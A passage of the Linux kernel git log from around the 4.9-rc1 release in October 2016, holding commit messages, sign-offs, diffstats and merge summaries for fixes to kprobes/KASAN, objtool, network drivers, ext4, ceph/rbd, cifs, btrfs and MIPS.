Thomas Gleixner Cc: Zhang Yi Cc: linux-nvdimm@lists.01.org Fixes: 917db484dc6a ("x86/boot: Fix kdump, cleanup aborted E820_PRAM max_pfn manipulation") Link: http://lkml.kernel.org/r/147629530854.10618.10383744751594021268.stgit@dwillia2-desk3.amr.corp.intel.com Signed-off-by: Ingo Molnar arch/x86/kernel/e820.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a705e07b9c80df27b6bb12f7a4cd4cf4ed2f728b Author: Joonas Lahtinen Date: Wed Oct 12 13:18:56 2016 +0300 cpu/hotplug: Use distinct name for cpu_hotplug.dep_map Use distinctive name for cpu_hotplug.dep_map to avoid the actual cpu_hotplug.lock appearing as cpu_hotplug.lock#2 in lockdep splats. Signed-off-by: Joonas Lahtinen Reviewed-by: Chris Wilson Acked-by: Gautham R. Shenoy Cc: Andrew Morton Cc: Daniel Vetter Cc: Gautham R . Shenoy Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: intel-gfx@lists.freedesktop.org Cc: trivial@kernel.org Signed-off-by: Ingo Molnar kernel/cpu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9f7d416c36124667c406978bcb39746589c35d7f Author: Dmitry Vyukov Date: Fri Oct 14 16:07:23 2016 +0200 kprobes: Unpoison stack in jprobe_return() for KASAN I observed false KSAN positives in the sctp code, when sctp uses jprobe_return() in jsctp_sf_eat_sack(). The stray 0xf4 in shadow memory are stack redzones: [ ] ================================================================== [ ] BUG: KASAN: stack-out-of-bounds in memcmp+0xe9/0x150 at addr ffff88005e48f480 [ ] Read of size 1 by task syz-executor/18535 [ ] page:ffffea00017923c0 count:0 mapcount:0 mapping: (null) index:0x0 [ ] flags: 0x1fffc0000000000() [ ] page dumped because: kasan: bad access detected [ ] CPU: 1 PID: 18535 Comm: syz-executor Not tainted 4.8.0+ #28 [ ] Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 [ ] ffff88005e48f2d0 ffffffff82d2b849 ffffffff0bc91e90 fffffbfff10971e8 [ ] ffffed000bc91e90 ffffed000bc91e90 0000000000000001 0000000000000000 [ ] ffff88005e48f480 ffff88005e48f350 ffffffff817d3169 ffff88005e48f370 [ ] Call Trace: [ ] [] dump_stack+0x12e/0x185 [ ] [] kasan_report+0x489/0x4b0 [ ] [] __asan_report_load1_noabort+0x19/0x20 [ ] [] memcmp+0xe9/0x150 [ ] [] depot_save_stack+0x176/0x5c0 [ ] [] save_stack+0xb1/0xd0 [ ] [] kasan_slab_free+0x72/0xc0 [ ] [] kfree+0xc8/0x2a0 [ ] [] skb_free_head+0x79/0xb0 [ ] [] skb_release_data+0x37a/0x420 [ ] [] skb_release_all+0x4f/0x60 [ ] [] consume_skb+0x138/0x370 [ ] [] sctp_chunk_put+0xcb/0x180 [ ] [] sctp_chunk_free+0x58/0x70 [ ] [] sctp_inq_pop+0x68f/0xef0 [ ] [] sctp_assoc_bh_rcv+0xd6/0x4b0 [ ] [] sctp_inq_push+0x131/0x190 [ ] [] sctp_backlog_rcv+0xe9/0xa20 [ ... ] [ ] Memory state around the buggy address: [ ] ffff88005e48f380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ ] ffff88005e48f400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ ] >ffff88005e48f480: f4 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ ] ^ [ ] ffff88005e48f500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ ] ffff88005e48f580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ ] ================================================================== KASAN stack instrumentation poisons stack redzones on function entry and unpoisons them on function exit. If a function exits abnormally (e.g. with a longjmp like jprobe_return()), stack redzones are left poisoned. Later this leads to random KASAN false reports. Unpoison stack redzones in the frames we are going to jump over before doing actual longjmp in jprobe_return(). Signed-off-by: Dmitry Vyukov Acked-by: Masami Hiramatsu Reviewed-by: Mark Rutland Cc: Mark Rutland Cc: Catalin Marinas Cc: Andrey Ryabinin Cc: Lorenzo Pieralisi Cc: Alexander Potapenko Cc: Will Deacon Cc: Andrew Morton Cc: Ananth N Mavinakayanahalli Cc: Anil S Keshavamurthy Cc: "David S. Miller" Cc: Masami Hiramatsu Cc: kasan-dev@googlegroups.com Cc: surovegin@google.com Cc: rostedt@goodmis.org Link: http://lkml.kernel.org/r/1476454043-101898-1-git-send-email-dvyukov@google.com Signed-off-by: Ingo Molnar arch/arm64/kernel/sleep.S | 2 +- arch/x86/kernel/kprobes/core.c | 4 ++++ include/linux/kasan.h | 2 ++ mm/kasan/kasan.c | 22 +++++++++++++++++++--- 4 files changed, 26 insertions(+), 4 deletions(-) commit 9254139ad083433c50ba62920107ed55fc4ca5e2 Author: Dmitry Vyukov Date: Tue Oct 11 14:13:38 2016 +0200 kprobes: Avoid false KASAN reports during stack copy Kprobes save and restore raw stack chunks with memcpy(). With KASAN these chunks can contain poisoned stack redzones, as the result memcpy() interceptor produces false stack out-of-bounds reports. Use __memcpy() instead of memcpy() for stack copying. __memcpy() is not instrumented by KASAN and does not lead to the false reports. Currently there is a spew of KASAN reports during boot if CONFIG_KPROBES_SANITY_TEST is enabled: [ ] Kprobe smoke test: started [ ] ================================================================== [ ] BUG: KASAN: stack-out-of-bounds in setjmp_pre_handler+0x17c/0x280 at addr ffff88085259fba8 [ ] Read of size 64 by task swapper/0/1 [ ] page:ffffea00214967c0 count:0 mapcount:0 mapping: (null) index:0x0 [ ] flags: 0x2fffff80000000() [ ] page dumped because: kasan: bad access detected [...] Reported-by: CAI Qian Tested-by: CAI Qian Signed-off-by: Dmitry Vyukov Acked-by: Masami Hiramatsu Cc: Alexander Potapenko Cc: Alexander Shishkin Cc: Ananth N Mavinakayanahalli Cc: Andrew Morton Cc: Andrey Ryabinin Cc: Andy Lutomirski Cc: Anil S Keshavamurthy Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: David S. Miller Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jiri Olsa Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: kasan-dev@googlegroups.com [ Improved various details. ] Signed-off-by: Ingo Molnar arch/x86/kernel/kprobes/core.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 9cfffb116887b1b7c51cd4e3fa5790dc52a0758f Author: Josh Poimboeuf Date: Thu Oct 13 16:22:53 2016 -0500 objtool: Skip all "unreachable instruction" warnings for gcov kernels Recently objtool has started reporting a few "unreachable instruction" warnings when CONFIG_GCOV is enabled for newer versions of GCC. Usually this warning means there's some new control flow that objtool doesn't understand. But in this case, objtool is correct and the instructions really are inaccessible. It's an annoying quirk of gcov, but it's harmless, so it's ok to just silence the warnings. With older versions of GCC, it was relatively easy to detect gcov-specific instructions and to skip any unreachable warnings produced by them. But GCC 6 has gotten craftier. Instead of continuing to play whack-a-mole with gcov, just use a bigger, more permanent hammer and disable unreachable warnings for the whole file when gcov is enabled. This is fine to do because a) unreachable warnings are usually of questionable value; and b) gcov isn't used for production kernels and we can relax the checks a bit there. Reported-by: kbuild test robot Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Arnd Bergmann Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/38d5c87d61d9cd46486dd2c86f46603dff0df86f.1476393584.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar tools/objtool/builtin-check.c | 57 ++++++++++++++++++++----------------------- 1 file changed, 26 insertions(+), 31 deletions(-) commit 3732710ff6f2ce2b1b7f044937a422b717d4f953 Author: Josh Poimboeuf Date: Thu Oct 13 16:22:52 2016 -0500 objtool: Improve rare switch jump table pattern detection GCC 6 added a new switch statement jump table optimization which makes objtool's life harder. It looks like: mov [rodata addr],%reg1 ... some instructions ... jmpq *(%reg1,%reg2,8) The optimization is quite rare, but objtool still needs to be able to identify the pattern so that it can follow all possible control flow paths related to the switch statement. In order to detect the pattern, objtool starts from the indirect jump and scans backwards through the function until it finds the first instruction in the pattern. If it encounters an unconditional jump along the way, it stops and considers the pattern to be not found. As it turns out, unconditional jumps can happen, as long as they are small forward jumps within the range being scanned. This fixes the following warnings: drivers/infiniband/sw/rxe/rxe_comp.o: warning: objtool: rxe_completer()+0x2f4: sibling call from callable instruction with changed frame pointer drivers/infiniband/sw/rxe/rxe_resp.o: warning: objtool: rxe_responder()+0x10f: sibling call from callable instruction with changed frame pointer Reported-by: Arnd Bergmann Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/8a9ed68ae1780e8d3963e4ee13f2f257fe3a3c33.1476393584.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar tools/objtool/builtin-check.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 0362fcc9d6834034bc0cdb1d9b02a1b9baf96a2a Author: Shawn Lin Date: Thu Sep 22 12:02:19 2016 +0800 arm64: dts: rockchip: remove always-on and boot-on from vcc_sd Please don't add these for vcc_sd, and mmc-core/driver will control it. Otherwise, it will waste energy even without sdmmc in slot. Moreover, it will causes a bug: If we insert/remove sd card, we could see [9.337271] mmc0: new ultra high speed SDR25 SDHC card at address 0007 [9.345144] mmcblk0: mmc0:0007 SD32G 29.3 GiB This is okay for normal sd insert/remove test, but when I debug some issues for sdmmc, I did unbind/bind test. And there is a interesting phenomenon when we bind the driver again: [58.314069] mmc0: new high speed SDHC card at address 0007 [58.320282] mmcblk0: mmc0:0007 SD32G 29.3 GiB So the sd card could just support high speed without power cycle since the vcc_sd is always on, which makes the sd card fail to reinit its internal ocr mask. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3368-geekbox.dts | 2 -- arch/arm64/boot/dts/rockchip/rk3368-orion-r68-meta.dts | 2 -- 2 files changed, 4 deletions(-) commit 4a262b14c57d6ec88982d40273e742f7b9151560 Author: Shawn Lin Date: Wed Oct 12 20:31:41 2016 +0800 clk: rockchip: don't return NULL when failing to register ddrclk branch rockchip_clk_register_ddrclk should not return NULL when failing to call clk_register, otherwise rockchip_clk_register_branches prints "unknown clock type". The actual case is that it's a known clock type but we fail to register it, which may makes user confuse the reason of failure. And the pr_err here is pointless as rockchip_clk_register_branches will also print the similar message. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-ddr.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit fb5c6cfaec126d9a96b9dd471d4711bf4c737a6f Author: Alexey Khoroshilov Date: Sat Oct 15 00:01:20 2016 +0300 vmxnet3: avoid assumption about invalid dma_pa in vmxnet3_set_mc() vmxnet3_set_mc() checks new_table_pa returned by dma_map_single() with dma_mapping_error(), but even there it assumes zero is invalid pa (it assumes dma_mapping_error(...,0) returns true if new_table is NULL). The patch adds an explicit variable to track status of new_table_pa. Found by Linux Driver Verification project (linuxtesting.org). v2: use "bool" and "true"/"false" for boolean variables. Signed-off-by: Alexey Khoroshilov Signed-off-by: David S. Miller drivers/net/vmxnet3/vmxnet3_drv.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 50756ebecf69276b8a908409fa32c123bb12420b Author: Dan Carpenter Date: Fri Oct 14 22:26:11 2016 +0300 stmmac: fix an error code in stmmac_ptp_register() PTR_ERR(NULL) is success. We have to preserve the error code earlier. Fixes: 7086605a6ab5 ("stmmac: fix error check when init ptp") Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 93966b715b32a783a1641f5a385901bbfab04733 Author: Timur Tabi Date: Fri Oct 14 14:14:35 2016 -0500 net: qcom/emac: disable interrupts before calling phy_disconnect There is a race condition that can occur if EMAC interrupts are enabled when phy_disconnect() is called. phy_disconnect() sets adjust_link to NULL. When an interrupt occurs, the ISR might call phy_mac_interrupt(), which wakes up the workqueue function phy_state_machine(). This function might reference adjust_link, thereby causing a null pointer exception. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-mac.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit f0076436136751359e0886f3302a2a0b3a28ba6e Author: Ard Biesheuvel Date: Fri Oct 14 14:40:33 2016 +0100 r8169: set coherent DMA mask as well as streaming DMA mask PCI devices that are 64-bit DMA capable should set the coherent DMA mask as well as the streaming DMA mask. On some architectures, these are managed separately, and so the coherent DMA mask will be left at its default value of 32 if it is not set explicitly. This results in errors such as r8169 Gigabit Ethernet driver 2.3LK-NAPI loaded hwdev DMA mask = 0x00000000ffffffff, dev_addr = 0x00000080fbfff000 swiotlb: coherent allocation failed for device 0000:02:00.0 size=4096 CPU: 0 PID: 1062 Comm: systemd-udevd Not tainted 4.8.0+ #35 Hardware name: AMD Seattle/Seattle, BIOS 10:53:24 Oct 13 2016 on systems without memory that is 32-bit addressable by PCI devices. Signed-off-by: Ard Biesheuvel Acked-by: Francois Romieu Signed-off-by: David S. Miller drivers/net/ethernet/realtek/r8169.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0d7718f666be181fda1ba2d08f137d87c1419347 Author: Nikolay Borisov Date: Mon Oct 10 15:38:18 2016 +0300 ceph: fix error handling in ceph_read_iter In case __ceph_do_getattr returns an error and the retry_op in ceph_read_iter is not READ_INLINE, then it's possible to invoke __free_page on a page which is NULL, this naturally leads to a crash. This can happen when, for example, a process waiting on a MDS reply receives sigterm. Fix this by explicitly checking whether the page is set or not. Cc: stable@vger.kernel.org # 3.19+ Signed-off-by: Nikolay Borisov Reviewed-by: Yan, Zheng Signed-off-by: Ilya Dryomov fs/ceph/file.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4d73644bc3d76dd161a84e3849c6f2c9c01c4ba7 Author: Ilya Dryomov Date: Thu Sep 29 14:23:12 2016 +0200 rbd: don't retry watch reregistration if header object is gone If the header object gets deleted (perhaps along with the entire pool), there is no point in attempting to reregister the watch. Treat this the same as blacklisting: fail all pending and new I/Os requiring the lock. Signed-off-by: Ilya Dryomov drivers/block/rbd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 87c0fded852ae20bddb7833da6ead082404de86a Author: Ilya Dryomov Date: Thu Sep 29 13:41:05 2016 +0200 rbd: don't wait for the lock forever if blacklisted -EBLACKLISTED from __rbd_register_watch() means that our ceph_client got blacklisted - we won't be able to restore the watch and reacquire the lock. Wake up and fail all outstanding requests waiting for the lock and arrange for all new requests that require the lock to fail immediately. Signed-off-by: Ilya Dryomov Tested-by: Mike Christie drivers/block/rbd.c | 50 +++++++++++++++++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 17 deletions(-) commit 1001354ca34179f3db924eb66672442a173147dc Author: Linus Torvalds Date: Sat Oct 15 12:17:50 2016 -0700 Linux 4.9-rc1 Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit df34d04a6f09ba41037e58c3df6d6fbed0ffcde9 Merge: 9ffc669 a17e7d2 Author: Linus Torvalds Date: Sat Oct 15 12:09:13 2016 -0700 Merge tag 'befs-v4.9-rc1' of git://github.com/luisbg/linux-befs Pull befs fixes from Luis de Bethencourt: "I recently took maintainership of the befs file system [0]. This is the first time I send you a git pull request, so please let me know if all the below is OK. Salah Triki and myself have been cleaning the code and fixing a few small bugs. Sorry I couldn't send this sooner in the merge window, I was waiting to have my GPG key signed by kernel members at ELCE in Berlin a few days ago." [0] https://lkml.org/lkml/2016/7/27/502 * tag 'befs-v4.9-rc1' of git://github.com/luisbg/linux-befs: (39 commits) befs: befs: fix style issues in datastream.c befs: improve documentation in datastream.c befs: fix typos in datastream.c befs: fix typos in btree.c befs: fix style issues in super.c befs: fix comment style befs: add check for ag_shift in superblock befs: dump inode_size superblock information befs: remove unnecessary initialization befs: fix typo in befs_sb_info befs: add flags field to validate superblock state befs: fix typo in befs_find_key befs: remove unused BEFS_BT_PARMATCH fs: befs: remove ret variable fs: befs: remove in vain variable assignment fs: befs: remove unnecessary *befs_sb variable fs: befs: remove useless initialization to zero fs: befs: remove in vain variable assignment fs: befs: Insert NULL inode to dentry fs: befs: Remove useless calls to brelse in befs_find_brun_dblindirect ... commit 9ffc66941df278c9f4df979b6bcf6c6ddafedd16 Merge: 133d970 0766f78 Author: Linus Torvalds Date: Sat Oct 15 10:03:15 2016 -0700 Merge tag 'gcc-plugins-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux Pull gcc plugins update from Kees Cook: "This adds a new gcc plugin named "latent_entropy". It is designed to extract as much possible uncertainty from a running system at boot time as possible, hoping to capitalize on any possible variation in CPU operation (due to runtime data differences, hardware differences, SMP ordering, thermal timing variation, cache behavior, etc). At the very least, this plugin is a much more comprehensive example for how to manipulate kernel code using the gcc plugin internals" * tag 'gcc-plugins-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux: latent_entropy: Mark functions with __latent_entropy gcc-plugins: Add latent_entropy plugin commit 133d970e0dadf7b413db19893acc5b26664bf4a1 Merge: 050aaea 38b8767 Author: Linus Torvalds Date: Sat Oct 15 09:26:12 2016 -0700 Merge branch 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus Pull MIPS updates from Ralf Baechle: "This is the main MIPS pull request for 4.9: MIPS core arch code: - traps: 64bit kernels should read CP0_EBase 64bit - traps: Convert ebase to KSEG0 - c-r4k: Drop bc_wback_inv() from icache flush - c-r4k: Split user/kernel flush_icache_range() - cacheflush: Use __flush_icache_user_range() - uprobes: Flush icache via kernel address - KVM: Use __local_flush_icache_user_range() - c-r4k: Fix flush_icache_range() for EVA - Fix -mabi=64 build of vdso.lds - VDSO: Drop duplicated -I*/-E* aflags - tracing: move insn_has_delay_slot to a shared header - tracing: disable uprobe/kprobe on compact branch instructions - ptrace: Fix regs_return_value for kernel context - Squash lines for simple wrapper functions - Move identification of VP(E) into proc.c from smp-mt.c - Add definitions of SYNC barrierstype values - traps: Ensure full EBase is written - tlb-r4k: If there are wired entries, don't use TLBINVF - Sanitise coherentio semantics - dma-default: Don't check hw_coherentio if device is non-coherent - Support per-device DMA coherence - Adjust MIPS64 CAC_BASE to reflect Config.K0 - Support generating Flattened Image Trees (.itb) - generic: Introduce generic DT-based board support - generic: Convert SEAD-3 to a generic board - Enable hardened usercopy - Don't specify STACKPROTECTOR in defconfigs Octeon: - Delete dead code and files across the platform. - Change to use all memory into use by default. - Rename upper case variables in setup code to lowercase. - Delete legacy hack for broken bootloaders. - Leave maintaining the link state to the actual ethernet/PHY drivers. - Add DTS for D-Link DSR-500N. - Fix PCI interrupt routing on D-Link DSR-500N. Pistachio: - Remove ANDROID_TIMED_OUTPUT from defconfig TX39xx: - Move GPIO setup from .mem_setup() to .arch_init() - Convert to Common Clock Framework TX49xx: - Move GPIO setup from .mem_setup() to .arch_init() - Convert to Common Clock Framework txx9wdt: - Add missing clock (un)prepare calls for CCF BMIPS: - Add PW, GPIO SDHCI and NAND device node names - Support APPENDED_DTB - Add missing bcm97435svmb to DT_NONE - Rename bcm96358nb4ser to bcm6358-neufbox4-sercom - Add DT examples for BCM63268, BCM3368 and BCM6362 - Add support for BCM3368 and BCM6362 PCI - Reduce stack frame usage - Use struct list_head lists - Support for CONFIG_PCI_DOMAINS_GENERIC - Make pcibios_set_cache_line_size an initcall - Inline pcibios_assign_all_busses - Split pci.c into pci.c & pci-legacy.c - Introduce CONFIG_PCI_DRIVERS_LEGACY - Support generic drivers CPC - Convert bare 'unsigned' to 'unsigned int' - Avoid lock when MIPS CM >= 3 is present GIC: - Delete unused file smp-gic.c mt7620: - Delete unnecessary assignment for the field "owner" from PCI BCM63xx: - Let clk_disable() return immediately if clk is NULL pm-cps: - Change FSB workaround to CPU blacklist - Update comments on barrier instructions - Use MIPS standard lightweight ordering barrier - Use MIPS standard completion barrier - Remove selection of sync types - Add MIPSr6 CPU support - Support CM3 changes to Coherence Enable Register SMP: - Wrap call to mips_cpc_lock_other in mips_cm_lock_other - Introduce mechanism for freeing and allocating IPIs cpuidle: - cpuidle-cps: Enable use with MIPSr6 CPUs. SEAD3: - Rewrite to use DT and generic kernel feature. USB: - host: ehci-sead3: Remove SEAD-3 EHCI code FBDEV: - cobalt_lcdfb: Drop SEAD3 support dt-bindings: - Document a binding for simple ASCII LCDs auxdisplay: - img-ascii-lcd: driver for simple ASCII LCD displays irqchip i8259: - i8259: Add domain before mapping parent irq - i8259: Allow platforms to override poll function - i8259: Remove unused i8259A_irq_pending Malta: - Rewrite to use DT of/platform: - Probe "isa" busses by default CM: - Print CM error reports upon bus errors Module: - Migrate exception table users off module.h and onto extable.h - Make various drivers explicitly non-modular: - Audit and remove any unnecessary uses of module.h mailmap: - Canonicalize to Qais' current email address. Documentation: - MIPS supports HAVE_REGS_AND_STACK_ACCESS_API Loongson1C: - Add CPU support for Loongson1C - Add board support - Add defconfig - Add RTC support for Loongson1C board All this except one Documentation fix has sat in linux-next and has survived Imagination's automated build test system" * 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus: (127 commits) Documentation: MIPS supports HAVE_REGS_AND_STACK_ACCESS_API MIPS: ptrace: Fix regs_return_value for kernel context MIPS: VDSO: Drop duplicated -I*/-E* aflags MIPS: Fix -mabi=64 build of vdso.lds MIPS: Enable hardened usercopy MIPS: generic: Convert SEAD-3 to a generic board MIPS: generic: Introduce generic DT-based board support MIPS: Support generating Flattened Image Trees (.itb) MIPS: Adjust MIPS64 CAC_BASE to reflect Config.K0 MIPS: Print CM error reports upon bus errors MIPS: Support per-device DMA coherence MIPS: dma-default: Don't check hw_coherentio if device is non-coherent MIPS: Sanitise coherentio semantics MIPS: PCI: Support generic drivers MIPS: PCI: Introduce CONFIG_PCI_DRIVERS_LEGACY MIPS: PCI: Split pci.c into pci.c & pci-legacy.c MIPS: PCI: Inline pcibios_assign_all_busses MIPS: PCI: Make pcibios_set_cache_line_size an initcall MIPS: PCI: Support for CONFIG_PCI_DOMAINS_GENERIC MIPS: PCI: Use struct list_head lists ... commit 050aaeab99067b6a08b34274ff15ca5dbb94a160 Merge: b26b5ef fdd8218 Author: Linus Torvalds Date: Sat Oct 15 09:20:54 2016 -0700 Merge tag 'sound-fix-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound fixes from Takashi Iwai: "Just a few trivial small fixes" * tag 'sound-fix-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: ALSA: line6: fix a crash in line6_hwdep_write() ALSA: seq: fix passing wrong pointer in function call of compatibility layer ALSA: hda - Fix a failure of micmute led when having multi adcs ALSA: line6: Fix POD X3 Live audio input commit d74f3d25289aa9722cf777a7482eeee2eacdf46e Author: Joe Perches Date: Sat Oct 15 09:57:31 2016 -0400 ext4: add missing KERN_CONT to a few more debugging uses Recent commits require line continuing printks to always use pr_cont or KERN_CONT. Add these markings to a few more printks. Miscellaneaous: o Integrate the ea_idebug and ea_bdebug macros to use a single call to printk(KERN_DEBUG instead of 3 separate printks o Use the more common varargs macro style Signed-off-by: Joe Perches Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger fs/ext4/block_validity.c | 4 ++-- fs/ext4/mballoc.h | 17 ++++++++--------- fs/ext4/namei.c | 18 ++++++++++-------- fs/ext4/xattr.c | 18 ++++++------------ 4 files changed, 26 insertions(+), 31 deletions(-) commit 8906a8223ad4909b391c5628f7991ebceda30e52 Author: Eric Biggers Date: Sat Oct 15 09:48:50 2016 -0400 fscrypto: lock inode while setting encryption policy i_rwsem needs to be acquired while setting an encryption policy so that concurrent calls to FS_IOC_SET_ENCRYPTION_POLICY are correctly serialized (especially the ->get_context() + ->set_context() pair), and so that new files cannot be created in the directory during or after the ->empty_dir() check. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Reviewed-by: Richard Weinberger Cc: stable@vger.kernel.org fs/crypto/policy.c | 4 ++++ 1 file changed, 4 insertions(+) commit 199625098a18a5522b424dea9b122b254c022fc5 Author: Eric Biggers Date: Sat Oct 15 09:39:31 2016 -0400 ext4: correct endianness conversion in __xattr_check_inode() It should be cpu_to_le32(), not le32_to_cpu(). No change in behavior. Found with sparse, and this was the only endianness warning in fs/ext4/. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara fs/ext4/xattr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f573bbc7a7773b8fc0d62be6b79345f5a971d97d Author: Dave Jones Date: Fri Oct 14 14:26:24 2016 -0400 pkeys: Remove easily triggered WARN This easy-to-trigger warning shows up instantly when running Trinity on a kernel with CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS disabled. At most this should have been a printk, but the -EINVAL alone should be more than adequate indicator that something isn't available. Signed-off-by: Dave Jones Acked-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: torvalds@linux-foundation.org Cc: akpm@linux-foundation.org Cc: mgorman@techsingularity.net Signed-off-by: Thomas Gleixner include/linux/pkeys.h | 1 - 1 file changed, 1 deletion(-) commit b26b5ef5ec7eab0e1d84c5b281e87b2f2a5e0586 Merge: 87dbe42 2692a71 Author: Linus Torvalds Date: Fri Oct 14 18:19:05 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull more misc uaccess and vfs updates from Al Viro: "The rest of the stuff from -next (more uaccess work) + assorted fixes" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: score: traps: Add missing include file to fix build error fs/super.c: don't fool lockdep in freeze_super() and thaw_super() paths fs/super.c: fix race between freeze_super() and thaw_super() overlayfs: Fix setting IOP_XATTR flag iov_iter: kernel-doc import_iovec() and rw_copy_check_uvector() blackfin: no access_ok() for __copy_{to,from}_user() arm64: don't zero in __copy_from_user{,_inatomic} arm: don't zero in __copy_from_user_inatomic()/__copy_from_user() arc: don't leak bits of kernel stack into coredump alpha: get rid of tail-zeroing in __copy_user() commit 87dbe42a16b654e33665756c63e96c0fa73eb003 Merge: d3304ca 3514de3 Author: Linus Torvalds Date: Fri Oct 14 17:47:31 2016 -0700 Merge branch 'for-next' of git://git.samba.org/sfrench/cifs-2.6 Pull cifs fixes from Steve French: "Including: - nine bug fixes for stable. Some of these we found at the recent two weeks of SMB3 test events/plugfests. - significant improvements in reconnection (e.g. if server or network crashes) especially when mounted with "persistenthandles" or to server which advertises Continuous Availability on the share. - a new mount option "idsfromsid" which improves POSIX compatibility in some cases (when winbind not configured e.g.) by better (and faster) fetching uid/gid from acl (when "cifsacl" mount option is enabled). NB: we are almost complete work on "cifsacl" (querying mode/uid/gid from ACL) for SMB3, but SMB3 support for cifsacl is not included in this set. - improved handling for SMB3 "credits" (even if server is buggy) Still working on two sets of changes: - cifsacl enablement for SMB3 - cleanup of RFC1001 length calculation (so we can handle encryption and multichannel and RDMA) And a couple of new bugs were reported recently (unrelated to above) so will probably have another merge request next week" * 'for-next' of git://git.samba.org/sfrench/cifs-2.6: (21 commits) CIFS: Retrieve uid and gid from special sid if enabled CIFS: Add new mount option to set owner uid and gid from special sids in acl CIFS: Reset read oplock to NONE if we have mandatory locks after reopen CIFS: Fix persistent handles re-opening on reconnect SMB2: Separate RawNTLMSSP authentication from SMB2_sess_setup SMB2: Separate Kerberos authentication from SMB2_sess_setup Expose cifs module parameters in sysfs Cleanup missing frees on some ioctls Enable previous version support Do not send SMB3 SET_INFO request if nothing is changing SMB3: Add mount parameter to allow user to override max credits fs/cifs: reopen persistent handles on reconnect Clarify locking of cifs file and tcon structures and make more granular Fix regression which breaks DFS mounting fs/cifs: keep guid when assigning fid to fileinfo SMB3: GUIDs should be constructed as random but valid uuids Set previous session id correctly on SMB3 reconnect cifs: Limit the overall credit acquired Display number of credits available Add way to query creation time of file via cifs xattr ... commit d3304cadb2e24517938e24efd58fd9ee6504fefe Merge: 1a892b4 d9ed71e Author: Linus Torvalds Date: Fri Oct 14 17:44:56 2016 -0700 Merge branch 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs Pull btrfs fixes from Chris Mason: "Some fixes from Omar and Dave Sterba for our new free space tree. This isn't heavily used yet, but as we move toward making it the new default we wanted to nail down an endian bug" * 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs: btrfs: tests: uninline member definitions in free_space_extent btrfs: tests: constify free space extent specs Btrfs: expand free space tree sanity tests to catch endianness bug Btrfs: fix extent buffer bitmap tests on big-endian systems Btrfs: catch invalid free space trees Btrfs: fix mount -o clear_cache,space_cache=v2 Btrfs: fix free space tree bitmaps on big-endian systems commit 2692a71bbd40160165e89d5505c5c28144ec5a42 Merge: 7041c57 b065444 Author: Al Viro Date: Fri Oct 14 20:42:44 2016 -0400 Merge branch 'work.uaccess' into for-linus commit 7041c57709efdc1e31aaff663cfe17f0b21f4743 Author: Guenter Roeck Date: Wed Oct 12 13:42:23 2016 -0700 score: traps: Add missing include file to fix build error score images fail to build as follows. arch/score/kernel/traps.c: In function 'show_stack': arch/score/kernel/traps.c:55:3: error: implicit declaration of function '__get_user' __get_user() is declared in 